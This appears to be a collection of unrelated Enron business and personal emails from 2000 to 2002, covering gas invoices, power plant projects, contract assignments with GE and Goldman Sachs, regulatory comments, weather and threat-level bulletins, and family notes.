doubts it).

My understanding is that Enron commercial supports the filing of the suit.
It is scheduled to be filed on Friday. If any of you would like to revisit
the issue before Friday, please let me know.

Bruce

Here's what I threw together this afternoon. Let me know if there are any 
other people in particular you'd like added to the list. Also let me know if 
you try any of these extensions and they happen to be wrong (we have a hard 
time keeping up with changing numbers too!). Forward this on to anyone you 
feel it might be useful to; but please let them know to call me first and 
foremost, since I'll probably be the most receptive on the phone. 

Hope you had a safe trip back home. Again, it was great to meet you and Kim.

Kate

---------------------- Forwarded by Darron C Giron/HOU/ECT on 09/27/2000 

	Kevin W Drachenberg
	09/27/2000 11:24 AM
	
cc:  
Subject: Peoples Gas --> $5,000 Invoice for Summer-Winter Exchange 6-1-00 to 
7-31-00

Trying to wrap up as much as I can before my last day on Friday.  Have you 
had a chance to look into this?

Kevin
---------------------- Forwarded by Kevin W Drachenberg/HOU/ECT on 09/27/2000 
11:23 AM ---------------------------

	09/14/2000 10:31 AM
	
cc:  
7-31-00

This is the detail for the invoice I mentioned in my voice mail to you.  I 
need to get the Sitara number if this has been set up so I can pay Peoples.

Thanks,
Kevin
x3-0560
---------------------- Forwarded by Kevin W Drachenberg/HOU/ECT on 09/14/2000 
10:31 AM ---------------------------

	08/28/2000 05:34 PM
	
To: Kevin P Radous/Corp/Enron@Enron
cc:  
7-31-00

Kevin,

Doing some more month end clean up.  

I received an invoice from Peoples Gas to ENA for $5,000.  The description is:

For Summer-Winter Exchange Agreement between Peoples and ENA from June 1,2000 
through July 31,200 for 1Bcf.

1 Bcf Program Original Hedge:  1,000,000 MMBtu x .005 = $5,000

I cannot find a Sitara deal for this amount.  Will you please look into 
this?  They told me the deal maker is Richard Tomaski.

If you send me your fax number I'll send you a copy of the invoice.

Thanks,
Kevin

You're a machine!

	Marcus Nettelton@ENRON
	03/22/2001 05:38 PM
		
		 cc: 
		 Subject: Re: EOL approvals, 03-22-01

Ditto Credit.

	03/22/2001 05:34 PM
		 
		 cc: 
		 Subject: EOL approvals, 03-22-01

----- Forwarded by Tana Jones/HOU/ECT on 03/22/2001 05:34 PM -----

	03/22/2001 05:31 PM
		 
Global Contracts and Facilities@ENRON, Enron Europe Global 
CounterParty/LON/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tom 
Communications, EOL Call Center@ENRON, Bernice Rodriguez/HOU/ECT@ECT, Bill D 
		 cc: 

Have a great trip!

Bill and Rita McCall <bmccall@wcnet.net> on 10/20/2000 03:09:52 PM
cc:  

Subject: Last call from Palacios

Hi Sweetheart. We were just checking to see if you are back and ready to go
to Georgetown. Hope you trip was a success. We are great.Packing up to go
home tomorrow. We will be back next Saturday. Have a great week end. We
love you,Mother

---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 03/22/2001 
11:19 AM ---------------------------

val.generes@accenture.com on 03/21/2001 07:46:25 AM
To: 
cc:  

Subject: FW: Girl Without Father

 We need your help. Please read the following:

   Unfortunately, it has become all to frequent that a man will father a
  child and then run off.  Often times without paying any child support.
  The girl in this picture will face many challenges because she has no
  father in her life.  If you know who her father might be, please contact
  the  police immediately.

(See attached file: girl_without_father.jpg)

 - girl_without_father.jpg

This project, of all that have been proposed recently, probably has a better 
chance of success.  First, Mission Energy is already a huge player in the 
IPP/Cogen business in Kern County, and is regarded as fairly skilled at 
getting permits/authorizations through the system.  Their existing facilites 
on Texaco's leases currently produce over 1,000 MW of power.  Secondly, this 
project would sit smack dab in the middle of the Midway-Sunset field and is 
easily accessible off the West Side Lateral of Kern/Mojave's system.  As 
such, they are probably a prime candidate for either Phase I or Phase II of 
Kern River's expansion.  Also, realize that Texaco has a substantial amount 
of field area [associated oil] gas, so, depending on the structure of the 
Texaco - Mission Energy sales agreement, Mission probably has access to or 
call on this Texaco production (i.e., they have the perfect physical hedge).

Kern would seem to be the "pipeline of choice" here... particularly, when you 
consider the impact of the reduced rates under their proposed expansion.  
Without the direct connection into Kern County, TW would have a difficult 
time competing.   Also, keep an eye out for El Paso moving forward with 
commercial plans for the California leg of All American Pipeline.  A large 
end-use plant like this could be the basis for an "En-Rate" type transport 
program on El Paso-All American, particularly if they get their allocation 
problems resolved at FERC.

08:56 AM ---------------------------
Market Intelligence - Enron Transportation Services
From: Lorna Brennan on 11/22/2000 08:48 AM
To: Steven Harris/ET&S/Enron@ENRON, Jeffery Fawcett/ET&S/Enron@ENRON, 
Lorraine Lindberg/ET&S/Enron@ENRON, Kevin Hyatt/ET&S/Enron@Enron, Christine 
Stokes/ET&S/Enron@ENRON, TK Lohman/ET&S/Enron@ENRON, Michelle 
Lokay/ET&S/Enron@Enron, Lindy Donoho/ET&S/Enron@ENRON, Lee 
Huber/ET&S/Enron@ENRON, Susan Scott/ET&S/Enron@ENRON
cc:  
Subject: 

Edison Mission Energy to build power plant in California

Edison Mission Energy, an Edison International company, is purchasing the
rights to the Sunrise Power Project from Texaco Power and Gasification. A
proposed power generation facility to be located in Kern County, Calif., the
project will bring both short- and long-term generation capacity to the
state, which is in dire need of new power generation.

The Sunrise Power Project will be completed in two phases. Phase 1 will
consist of a 320-MW, simple-cycle peaking facility scheduled to be in
service during the summer of 2001. Phase 2 will convert the peaking facility
to a 560-MW, combined-cycle operation with an in-service date of summer
2003.

Final regulatory approvals should be received shortly for Phase I of the
project. Edison Mission Energy plans to seek expedited permitting approval
for the Phase II expansion in line with the fast-track approvals process
recently enacted by the California legislature.

Edison Mission Energy specializes in the development, acquisition,
construction management and operation of global power production facilities.
The company owns nearly 23,000 MW of generating capacity, including
interests in 75 projects currently under construction or operating in
Australia, Indonesia, Italy, New Zealand, Puerto Rico, Spain, Thailand,
Turkey, the United Kingdom and the United States.

Weather Headlines
Tuesday November 27, 2001

*** Very stormy pattern for the next few days as Canadian cold interacts
with Atlantic warmth. ***

     A series of strong storms are expected to run through the Continental
U.S. during the five-day period. One has already produced heavy snows in
the Northern Plains and is producing another round of strong t-storms along
the Gulf coast. The cold air has pushed far enough South through the Plains
to produce some snows into Northern Texas today. This cold is having a
difficult time pushing east thanks to a strong SE U.S. ridge. There will be
somewhat of an eastern push later in the week, but with a sizeable
weakening as it occurs. The next in the series of storms for the West mid
to late week appears to be a powerhouse. Rain along the coast will be
measured in inches (primarily from San Francisco North), mountain snows
will be in feet and all of this will be accompanied by strong winds. The
deep trough in the West will keep temperatures all through the region below
to much below normal. The extreme East remains above seasonal norms while
the rest of the country sees a fair amount of fluctuation on daily
temperatures depending upon their location in respect to these storms.

     The 6-10 day period it is safe to say will be less active than the
short range. That's not much of a stretch though given the magnitude of
short-term storms. The overall pattern does not change much with some
degree of trough still expected in the West. We will probably beat down the
SE ridge somewhat this period. It still looks doubtful to me that we would
see any sustainable cold air very far South into the U.S. In fact, the
trend in the arctic regions appears to be one of cooling during this
period. Typically when this happens, the result is one of warming in the
Southern half of Canada. I don't see a major warm up and in fact many areas
of the Lower 48 will be cooler than recent weeks. However, in a relative to
normal sense, I anticipate most areas to run near or slightly above normal
through the first week of December.

For the period Tuesday November 27 through Saturday December 1, expect the
following temperature trends:

Average 4 to 9 below normal: California, Desert SW, Intermountain West,
Rockies, Plains?

Average 1 to 3-degrees below normal: Great Lakes, Mississippi valley,
Pacific NW?

Average 1 to 3-degrees above normal: Ohio Valley, Gulf Coast?

Average 4 to 9-degrees above normal: Northeast, Mid-Atlantic, Southeast?

Andy Weingarten, Meteorologist  APB Energy / True Quote

Threat levels:

DOE is still at Security Condition (SECON) 3 modified  (no change from last week).
NERC is still at 2.5, (no change from last week).
NRC is still at the highest threat level - 3 (no change from last week).

Threats/Suspicious Activity:

On 10/23, NIPC reported that in the past week, there have been reports of several overflights of plants (both nuclear and fossil).  The FAA/FBI process to report overflights of nuclear plants has been streamlined.  Operators observing aircraft overflights should have appropriate devices (such as telescopes, binoculars, etc.) on hand to obtain the aircraft tail number. Incidents should be reported to the FAA regional offices who will then pass the information to the FBI. 

NIPC also reported incidents of "suspicious behavior" at plants including surveillance to learn layouts of plants and what is stored at the plants.  One specific threat against a nuclear facility was apparently reported through local law enforcement, although we have no specific information regarding the location of the plant or the nature of the threat.  

Start Date: 2/2/02; HourAhead hour: 9;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020209.txt

Dear Mr. Kean:

Thank you for your call.  I am looking forward to working for you.  I will
be available as of June 1, 2001.

I will have the writing samples and resume ready for you on Monday, March 1,
2001.  Should I fax it to you?  Also, my dissertation is quite lengthy.
Would you like for me to forward you one chapter or just a couple pages?

As discussed, I will be available to come down to Houston between March 30
and April 6, 2001.  More snow (as in 6 inches) is expected today and
tomorrow.  I'm only 5'6".  Pretty soon I will be buried in it since it's
snow upon snow.  HELP!!

I look forward to seeing you again.

Regards,

Amy

A conference call is scheduled for today as follows:

Date:   Monday, January 22, 2001
Time:   12:00 Noon, PST
Call-in #:  1-888-422-7116
Participant Code: 111756

Carol Hudson
Independent Energy Producers Assn.
1112 I Street, Suite 380
PH: 916-448-9499
FX: 916-448-0182
chudson@iepa.com

Stacey,
=20
Elliot and I would like to discuss a few issues with you regarding the MS R=
PS Comments.  What time do you think that you will have to discuss?
=20
=20
<http://www.energy.ca.gov/renewables/documents/index.html#greenpower>
=20
=20
=20
F-1:  Need to require that all current renewable facilities, including all =
current existing boimass facilities are certified prior to the start date R=
PS
=20
F-5:  Not sure that I understand the issue surrounding compliance on a prod=
uct level - let's discuss
=20
F-7:  While we are very pleased with the Division's inclusion of banking, w=
e do not understand the need to restrict the limit on how much Supplier's a=
re allowed to bank as the shelf life for Renewable Energy Credits is alread=
y limited to the two compliance periods immediately following.  We would al=
so ask that you not limit the ability for Suppliers to transfer banked Rene=
wable Energy Credits during the allowed compliance periods.  We feel that t=
he Division should encourage as much liquidity as possible in the Renewable=
 Energy Credit market.  We understand the Division's concern regarding tran=
sferable banking and potential problems with market power, however, we feel=
 that the GIS Administrator is charged with closely monitoring potential ma=
rket power situations.  We would prefer that the Renewable Energy Credit ma=
rket be allowed to operate as indicated above from the beginning and if it =
is determined that market power issues exist then appropriate changes to th=
e market can and should be implemented.  We feel that markets operate best =
with few restrictions. =20
=20
F-9: Section 4. Not sure I understand the difference between the percentage=
 of sales versus the actual MWh's - let's discuss
=20
F-9: Section 5. Not sure that this language makes sense - let's discuss=20

From: Bolton, Stacey=20
Sent: Thursday, October 25, 2001 7:17 AM
To: Ring, Richard; Mainzer, Elliot; Rishe, Frank
Subject: ma rps

all -=20
attached are the draft comments.  pls get me comments by noon.  frank, got =
your vm.  yes, we are submitting it as supplement to our oral comments tomo=
rrow.  richard, can you please attach the CEC website.  I'm have awful diff=
iculties with my dial up.
=20
thanks,
stacey

This message is to inform you that information contained on your printed pay advice for the pay period ending May 31, 2001, may be misleading.

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If you have additional questions about your pay advice or accessing eHRonline, please contact the ISC Customer Care Group at 713.345.4727 or isc.hotline@enron.com .

Thank you.

Hello Eric Saibi,

 Transaction: 0000193470
 Location   : 00006

I hope that spelling your name correctly will help this get through to you.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 06/06/2000 11:53 
   
	From:  Kay Mann                           06/06/2000 03:58 AM
	
To: Steve Irvin/HOU/ECT@ECT, Peggy Banczak/HOU/ECT@ECT, Jeff 
Blumenthal/HOU/ECT@ECT, rstevens@bracepatt.com
cc:  

Subject: RE: Letter agreement

Here's the latest from GE.

When I spoke to Rob Stevens, he had a question about whether Mitsui needed to 
review the final drafts of the GE agreements. I don't know the resolution of 
that issue.

As you know, the current arrangement with GE requires payment within 3 days 
of signing of the contracts, which means we have to be prepared to assign the 
contract, then wire the money from EEIM to Mitsui immediately so that Mitsui 
can pay GE, and GE can refund ENA.  Has EEIM been funded yet and has Mitsui 
bought in on the payment plan?

I do not know the status of the tax issues raised by Jeff. I would also like 
to make sure that Jeff agrees with the mechanism of superseding the prior 
agreement with GE.  

Kay

---------------------- Forwarded by Kay Mann/Corp/Enron on 06/06/2000 09:54 

jeffreye.smith@ps.ge.com on 06/06/2000 09:47:54 AM
cc: jeffreye.smith@ps.ge.com, Brian.D.Barto@enron.com, 
karl.siverling@ps.ge.com, David.K.Bargainer@enron.com, 
john.schroeder@ps.ge.com 

Kay,
I'm faxing to you the documents highlighted in RED, below.
So, it looks like we need to supercede these documents, along with the
assignment and assumption agreement. 
I believe the entities I mentioned yesterday are still applicable.  
If you have a different opinion, let me know.
Give me a call at 518-385-7722, and let's get the documents in condition to
be signed today or tomorrow.
Regards,
Jeff Smith

From:   Kay.Mann@enron.com [mailto:Kay.Mann@enron.com]
Sent:   Tuesday, June 06, 2000 3:44 AM
To:   karl.siverling@ps.ge.com
Cc:   Kay.Mann@enron.com; jeffreye.smith@ps.ge.com;
Brian.D.Barto@enron.com; karl.siverling@ps.ge.com;
David.K.Bargainer@enron.com; john.schroeder@ps.ge.com
Subject:   RE: Letter agreement

Thank you.  That would be helpful.
Kay

karl.siverling@ps.ge.com <mailto:karl.siverling@ps.ge.com>  on 06/06/2000
07:28:24 AM
To:   Kay.Mann@enron.com <mailto:Kay.Mann@enron.com> ,
jeffreye.smith@ps.ge.com <mailto:jeffreye.smith@ps.ge.com> 
cc:   Brian.D.Barto@enron.com <mailto:Brian.D.Barto@enron.com> ,
karl.siverling@ps.ge.com <mailto:karl.siverling@ps.ge.com> ,
   David.K.Bargainer@enron.com <mailto:David.K.Bargainer@enron.com> ,
john.schroeder@ps.ge.com <mailto:john.schroeder@ps.ge.com> ,
   jeffreye.smith@ps.ge.com <mailto:jeffreye.smith@ps.ge.com> 

The "MOU" consists of the GE proposal #80518 w/ offer letter of August 12,
1998, and J.M. Bollinger's (President, Cogen Tech) acceptance letter of
August 14, 1998.  These letters set the framework of the agreement,
including payment / termination schedule.  Invoicing & payments began in
September, 1998..and have continued on that basis until each of the
individual contracts for Linden & "Midwest" were consummated.  In Dec., 99,
at Enron's request,we allocated  funds paid to date to Linden and the "third
unit".  We'll forward copies of above.
Karl Siverling
From:   Kay.Mann@enron.com <mailto:Kay.Mann@enron.com>
[mailto:Kay.Mann@enron.com] <mailto:[mailto:Kay.Mann@enron.com]> 
Sent:   Monday, June 05, 2000 6:27 PM
To:   jeffreye.smith@ps.ge.com <mailto:jeffreye.smith@ps.ge.com> 
Cc:   Brian.D.Barto@enron.com; <mailto:Brian.D.Barto@enron.com;>
Kay.Mann@enron.com; <mailto:Kay.Mann@enron.com;> 
karl.siverling@ps.ge.com; <mailto:karl.siverling@ps.ge.com;>
David.K.Bargainer@enron.com; <mailto:David.K.Bargainer@enron.com;> 
john.schroeder@ps.ge.com; <mailto:john.schroeder@ps.ge.com;>

The collective memory at ENA is that there wasn't an MOU per se, just the
assignment and assumption agreement.
Kay

jeffreye.smith@ps.ge.com <mailto:jeffreye.smith@ps.ge.com>  on 06/05/2000
03:51:46 PM
To:   Brian.D.Barto@enron.com <mailto:Brian.D.Barto@enron.com> ,
Kay.Mann@enron.com <mailto:Kay.Mann@enron.com> 
cc:   karl.siverling@ps.ge.com <mailto:karl.siverling@ps.ge.com> ,
David.K.Bargainer@enron.com <mailto:David.K.Bargainer@enron.com> ,
   john.schroeder@ps.ge.com <mailto:john.schroeder@ps.ge.com> ,

Brian,
I spoke to Karl today, and we tried to find the "MOU".  All we have found
was the "Assignment & Assumption Letter" you mention.  In that document, the
Enron and GE entities were; Enron Capitol & Trade Resources Corp. and
General Electric Company, respectively.
Regards,
Jeff Smith

From:   Brian D Barto [mailto:Brian.D.Barto@enron.com]
<mailto:[mailto:Brian.D.Barto@enron.com]> 
Sent:   Monday, June 05, 2000 12:45 PM
To:   Kay Mann
Cc:   karl.siverling@ps.ge.com; <mailto:karl.siverling@ps.ge.com;>  David
K Bargainer;
John.Schroeder@ps.ge.com; <mailto:John.Schroeder@ps.ge.com;>
Jeffreye.smith@ps.ge.com <mailto:Jeffreye.smith@ps.ge.com> 

I have a copy of the "Assignment and Assumption Letter"  where GE agreed
that Cogen Technologies could assign the rights to purchase the Units to
Enron Capital and Trade Resources, Corp.
The initials at the ECT signature block is Doug Pedigo's.
I have always been a little confused when Karl Siverling talks about
voiding
an
MOU, because I do not remember ever seeing an MOU for the Cogen Tech units.
Perhaps we could ask Karl to send us a copy of the document he intends to
void to make the process easier.

From: 	LaGesse, Denise  
Sent:	Tuesday, July 31, 2001 12:27 PM
To:	Huber, Lee
Subject:	Interconnect Agr

Here is the American Warrior Interconnect Agr, which is NOT the last one.  The last one is Guardian, but it's not usable because it's a redlined version from outside the company, and the redline will not delete - - you were going to get them to send a clean one; did they?

Will this one work?

Denise LaGesse
P.O. Box 1188 (77251-1188)
1400 Smith Street, Room EB4784
ph. 713-853-6704
fax 713-853-5425
Denise.LaGesse@Enron.com

Title: Russia & OPEC
URL(s):

http://www.cera.com/eprofile?u=35&m=2815;

***********************************************************************

Please note: A notice was sent for this call on November 21.  This is the same
conference call, but the Topics and Speakers have been updated.  If you have
already registered for the call, there is no need to re-register.

TOPICS

*   Russia and OPEC: A quick recap on the relationship and analysis of the current dynamics

*   OPEC and non-OPEC: Why did OPEC seek out Russia's support and how will OPEC
react to the latest developments

*   A look at oil price implications

FORMAT

Our speakers will address this topic for approximately 30 minutes, followed by
an open question and answer period.

Speakers:

Thane Gustafson, CERA Senior Director, Eurasia Energy

Vera de Ladoucette, CERA Director, Middle East Research

Ann-Louise Hittle, CERA Senior Director, Global Oil

Time: 10:00 A.M. Eastern Time, Wednesday, November 28, 2001

Eligibility: Clients eligible to participate in this conference call are those
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TO PARTICIPATE

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**end**

E-mail Category: Conference Call Notification
CERA Knowledge Area(s): Global Oil

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I will leave this to llgm.

	"Cindy Stremmel" <cstremmel@ggfcmk.com>
	04/16/2001 07:01 PM
		 
"Garrett L. Hanken" <ghanken@ggfcmk.com>, "Jeffrey A. Krieger" 
<jkrieger@ggfcmk.com>, "Marc S. Cohen" <mcohen@ggfcmk.com>, 
<kjohan@ladwp.com>, <ceklund@llgm.com>, <dwhitley@llgm.com>, 
<jrnelson@llgm.com>, <mlubic@mdbe.com>, <zack.starbird@mirant.com>, 
<pmar@mofo.com>, <hweg@pgwlaw.com>, <david.facey@powerex.com>, 
<teresa.conway@powerex.com>, <rbeitler@sempratrading.com>, 
<awells@stroock.com>, <ayudkowsky@stroock.com>, <pjazayeri@stroock.com>, 
<bholman@whitecase.com>
		 cc: 
		 Subject: CalpX committee bylaws.

Per Marc Cohen, please review the attached Draft Bylaws and provide him with 
comments.  Thank you.

 - CalpXcom.

Hello Susan - Happy New Year - I hope all is well with you and yours.
The best of luck getting organized.  

The Brawner's
15911 Marwick Ct
Houston, Tx 77095

home   281-855-8797
sandra cell  713-594-7369
kenny cell    281-381-7288

FYI

From: 	Whiting, Greg  
Sent:	Wednesday, October 31, 2001 8:18 AM
To:	Deffner, Joseph; Hodges, Georganne; Wesner-Soong, Sarah
Cc:	Schield, Elaine
Subject:	RE: EDF Mann Initial Margin

Joe,

Man called back and is adjusting their number. They want us to PAY $49.4MM.  I am not sure who has the relationship with them to negotiate this.  No money will move until we have an answer.

				Greg 

Sent:	Wednesday, October 31, 2001 7:15 AM
To:	Deffner, Joseph; Kitchen, Louise; Hodges, Georganne; Wesner-Soong, Sarah
Subject:	EDF Mann Initial Margin

Per the broker statement received this morning the initial margin for Mann increased by only $6.1MM.  It does not appear that they have changed their margin calculation method from this.  I have contacted the Enron person responsible for confirming the amounts to be settled with Mann and instructed her to contact me if Mann requests any settlement that differs from the statement received this morning.  The preliminary number for Mann's initial margin and variation margin was a net inflow of $4.8MM.

I will let you know of any changes.  Thanks.

			Greg x35399

EB 3892

Jim,
 
Do  you know who is representing Ben Glisan, Kristina Mordaunt, Anne Yaeger, and/or  Kathy Lynn?
 
Joe

(1)  I cannot speak with Caroline Abramo at 2.  Please call her and explain 
that I'm in the midst of  transaction which must close today (it may roll 
into Monday).  Tuesday is a safe bet.  Mention that the deal is being pushed 
by the 50th floor over here.

(2)  Did you call Stuart?  Just let me know and I'll call him when I get off 
this call.

Dear Mr. Lay and Mr. Skilling:

We launched a new product this month called the Enron "Global Markets 
Monitor", which will be published each week by my team in the Country Risk 
and Foreign Exchange department within Vince Kaminski's Research Group.  We 
thought you might find our publication informative.  The most recent Global 
Markets Monitor is attached below.  This product was specifically designed to 
serve Enron's needs by helping the traders and business units stay abreast of 
international events that can have an impact on their profits and 
strategies.  This publication allows these groups to focus on their core 
businesses yet stay current on important developments in the global financial 
and commodity markets.  Special emphasis is placed on potential central bank 
policy changes and the impact these changes have on interest rates and 
currencies.  The weekly publication is available on our web site, by 
selecting the "Global Markets Monitor" link under the spinning "NEW":  

http://ecthou-webcl1.nt.ect.enron.com/research/ForeignExchange/FXMain.htm

Maureen Raymond-Castaneda 
ENA Research Group, Country Risk and Foreign Exchange

All testing was completed, but we encountered problems accessing www.nbp.enron.com.  We've notified the Hot Tap team and they are investigating.  We were able to access www.nbpl.enron.com internally, but they had problems accessing it from outside the Enron environment.  We will update you as soon as we have more information.

We have confirmed with the ENW Resolution Center that the Exchange servers are up. 

 Tom,

 Here is the error log generatedby the var application.

 Regards,

 Nilay

From: 	Victorio, Tom  
Sent:	Wednesday, August 08, 2001 4:44 PM
To:	Carrington, Clara; Vinson, Donald Wayne; Keiser, Kam; Mills, Scott; Moscoso, Michael E.; Reeves, Kathy; Albrecht, Kristin; Basu, Nilay
Cc:	Wilson, Shona
Subject:	Var documentation

Here's the link to the VaR documents that Nilay mentioned in last week's meeting. They're under Risk Systems/Analytics. 

http://edms.livelink.enron.com/ena/livelink.exe?func=ll&objId=7492800&objAction=browse&sort=name

Nilay, please send a copy of the log file to everybody in this email.

Just a reminder -- the meeting on Friday will be at EB3587, 3:30-4:30 PM (regular weekly schedule 2-3PM on Fridays stays the same).

Thanks.
- Tom

Hello Louise,

Enrico worked for me for 1 year as an new associate. He was weak when he started but got better with time. When I finally lost him I was disappointed but then he was focused on the Italian market and had become very pro-active after I gave him a consistent hard time. I rate him mid range and solid. Not a superstar - so it depends what you need.

I take it Suarez took the Presto job. He is bright and should do well.

Call me when you get in, I'd like a chat.

Later,
M

Sent: 16 September 2001 01:47
To: Romano, Marcello
Subject: FW: FW: Enrico Bauli

Can you snoop quietly for me - is he any good?

From: Suarez, John 
Sent: Saturday, September 15, 2001 6:56 PM
To: Presto, Kevin M.; Kitchen, Louise
Subject: Re: FW: Enrico Bauli

Cc: 

Kevin, 

Enrico 

another request - delegate as you feel appropriate
thanks
---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 03/28/2000 

John Llodra@ENRON
03/28/2000 09:48 AM
To: Elizabeth Sager/HOU/ECT@ECT
cc:  
Subject: RE: My contact info

Hello Elizabeth:

Hope all is well down in Houston.  I have attached a market based electric 
purchase/sales tariff for New England Power Company that I was hoping you 
could provide a legal review of.   I would like to have this signed to enable 
us to enter into future transactions with them.  If you are not the 
appropriate person to review this, could you suggest a more appropriate 
individual.  Thanks much.  My number is 978-449-9936.

Regards,
John

---------------------- Forwarded by John Llodra/Corp/Enron on 03/28/2000 

"RONDEAU, DONALD" <DONALD.RONDEAU@us.ngrid.com> on 03/23/2000 11:37:00 AM
To: "\"John.Llodra@enron.com\" " <John.Llodra@enron.com>
cc:  

???? John, 
???? 
???? As we discussed, attached for your review and execution is the Service 
???? Agreement to allow electric power and energy sales from New England 
???? Power (NEP) to Enron under NEP's Wholesale Market Tariff, FERC 
???? Electric Tariff, Original Volume No. 10 (t10terms.wpd).? As stated in 
???? the Service Agreement, the specific rates, terms, and conditions of 
???? individual transactions shall be established by the parties at the 
???? time the transaction is agreed to. 
???? 
???? Please give me a call if you have any questions, I'm looking forward 
???? working with you in exploring business opportunities available to 
???? Enron and NEP under this agreement. 
???? 
???? Don Rondeau 
???????? 

______________________________ Reply Separator 
_________________________________ Subject: My contact info 
Author:? "John.Llodra@enron.com" <SMTP:John.Llodra@enron.com> at USMAHUB1 
Date:??? 03/23/2000 11:32 AM 

Don: 

Here's my info as promised: 

John C. Llodra 
Manager, East Power Trading 
Enron North America 
82 Smith Street 
Groton, MA? 01450 
Ph:? 978-449-9936 
Fx:? 978-449-9937 
Cellular:? 978-314-5614 
Pager:? 877-246-3206 

Please send along a copy of your Tariff 10 and I will be sure to get it 
signed off.? I look forward to getting together with you on April 4th for 
lunch. 
???? 
John 

? 

NOTE: This e-mail is private and confidential to the named 
recipient(s). Any information provided is given in good faith. 
However, unless specifically stated to the contrary, National Grid, 
U.S.A. accepts no liability for the content of this e-mail or for 
the consequences of  any actions taken on the basis of the 
writing. The unauthorized copying of any information contained 
in this e-mail to persons other than the named recipients is strictly 
forbidden.

This footnote also confirms that this email message has been 
swept by MIMEsweeper for the presence of computer viruses. 

National Grid, U.S.A.

 - t10terms.wpd

Ladies and Gentlemen:

First of all, thanks to all who were able to attend our first meeting last 
week.  My apologies for the short notice and inconvenient scheduling - it was 
the best we could do based on travel schedules and time-zones.

Attached is a presentation of the results of our first meeting.  Please take 
a look at it and thank about how we can move from the conceptual to the 
practical as painlessly as possible.

Schedule permitting, I would suggest we meet next week to see where we go 
from here.

Thanks,

George

fyi..have not received as yet.
---------------------- Forwarded by Sheila Glover/HOU/ECT on 04/13/2000 08:23 

03/22/2000 11:38 AM
To: Laurel Adams/HOU/ECT@ECT, Bennett Kaufman/HOU/ECT@ECT, Sheila 
Glover/HOU/ECT@ECT
cc: Gary Hickerson/HOU/ECT@ECT 
Subject: Goldman Agreements

Just to let  you know, the Agreements with Goldman Sachs International in 
London have been now been agreed and execution copies are on their way. 

Shari
---------------------- Forwarded by Shari Stack/HOU/ECT on 03/22/2000 11:36 

"Morris, Damian" <damian.morris@gs.com> on 03/22/2000 11:19:31 AM
To: "'Shari.Stack@enron.com'" <Shari.Stack@enron.com>
cc: "Strauss, Jeff" <Jeff.Strauss@ny.email.gs.com>, "Sibeud, Eugenie B" 
<eugenie.sibeud@ny.email.gs.com> 
Subject: RE: Signature Page

Shari

I am forwarding to you by courier for each of Enron North America Corp. and
ECT Investments, Inc, the following:

1. credit agreement x 3;
2. schedule to OSLA x 2;
3. signature page for OSLA x 2;
4. annex to OSLA x 3,

all duly signed on behlaf of GSI and GSCo as appropriate, together with
signature authorisations.  Please countersign and date and keep one copy of
each for your records while returning the others to me here.  I will take
steps to forward the appropriate documents to Eugenie Sibeud in New York in
connection with GSCo.

Thanks for all your help with this and kind regards.

Damian Morris

From: Shari.Stack@enron.com [mailto:Shari.Stack@enron.com]
Sent: 20 March 2000 15:51
To: Morris, Damian

Damian -

Actually we will need a set of agreements for both entities:

and
ECT Investments, Inc.

as both do equity trading. I have doublechecked and we did agreements for
both entities when negotiating the US - GS & Co. documents.

With regard to the signature page, can you just duplicate it and make one
for Enron North America Corp.?

Please call if you have any questions (713-853-9477). Thanks!

Shari

Don't worry about it ... sorry for putting you back on speaker.  I just 
wanted Sue to hear (she enjoys utility bashing so much).  Thanks for the 
comment on the hearing.  In some respects I don't think the first panel could 
have gone much better;  everyone thanked FERC for intervening (though for 
different reasons).  The other staff reports are also looking good.  Scott 
Miller has been a godsend -- somebody not afraid to tell it like it is.

	11/10/2000 12:33 PM
		 
		 To: skean@enron.com
		 cc: 
		 Subject: 

I apologize if I offended anyone.  Please let them know that I was simply 
quoting the CEO of a large, regulated utility in  California.  Thanks for 
attributing the quote to me.  You did a great job at the hearing----it went 
decidely downhill after you left.

Best,
Jeff

Monica, per our discussion.  I look forward to working with you.

Regards,
Sherri Sera
Assistant to Jeff Skilling
713.853.5984
713.646.8381 (fax)
sherri.sera@enron.com

Damn it all to hell!

What are you doing with my inheritance?  We enjoyed the dinner as well.  We 
are available whenever you would like to join us.  We should do it at least 
bi-weekly.
Work is good - I have had a pretty good month thus far (knock on wood).  

How are things going with you?

Your loving son,
-e

"K. Bass" <daphneco64@bigplanet.com> on 11/13/2000 11:54:03 AM
Please respond to "K. Bass" <daphneco64@bigplanet.com>
To: Eric.Bass@enron.com
cc:  
Subject: Re: Friday

Hi Eric,

We sure enjoyed being with you and your lovely Shanna Friday evening.  We
should do that more often.  How is your day going?  Work real hard because
we've lost all of your inheritance.  LU-M

>
>
> -E
>

Thanks.  I am waiting on comments from Sue and Paul, and will file the comments electronically and by facsimile Monday, followed by a hard copy the following day.

Sent:	Friday, October 19, 2001 2:56 PM
To:	Neustaedter, Robert
Subject:	RE: Colorado Comments

 << File: colorado comments.doc >> 

I only added one line, otherwise it looks good.

From: 	Neustaedter, Robert  
Sent:	Friday, October 19, 2001 11:37 AM
To:	Landwehr, Susan M.; Kaufman, Paul; Whitt, Mark; Kristensen, Adam; Tycholiz, Barry
Subject:	Colorado Comments

Please find attached the latest draft of comments.  I have highlighted changes on page 2 referencing fixed-price contracts.

Mark:  Thus far, I have uncovered only one "nondocumented" electronic 
agreement.  The equity desk uses the services of POSIT which is an electronic 
trading system which matches orders six times daily for institutions and 
broker dealers.  There is no agreement for this matching service.  I am not 
aware of other "matching services" and whether any agreements are in place.  
Let me know if you have any concerns.  Thanks.  Sara

Hey Dirk,

Here is the volatility using the RISI NBSK delivered to US

So how was your little "Friends" party last night?  Did you guys have punch 
and cookies?

Thanks for the material.  I am discussing internally.  Will keep confidential.

Jim

From: 	"Jerry Bowyer" <jerrybowyer@home.com>@ENRON [mailto:IMCEANOTES-+22Jerry+20Bowyer+22+20+3Cjerrybowyer+40home+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Wednesday, September 05, 2001 1:16 PM
Subject:	disruptive technology, short and simple and confidential

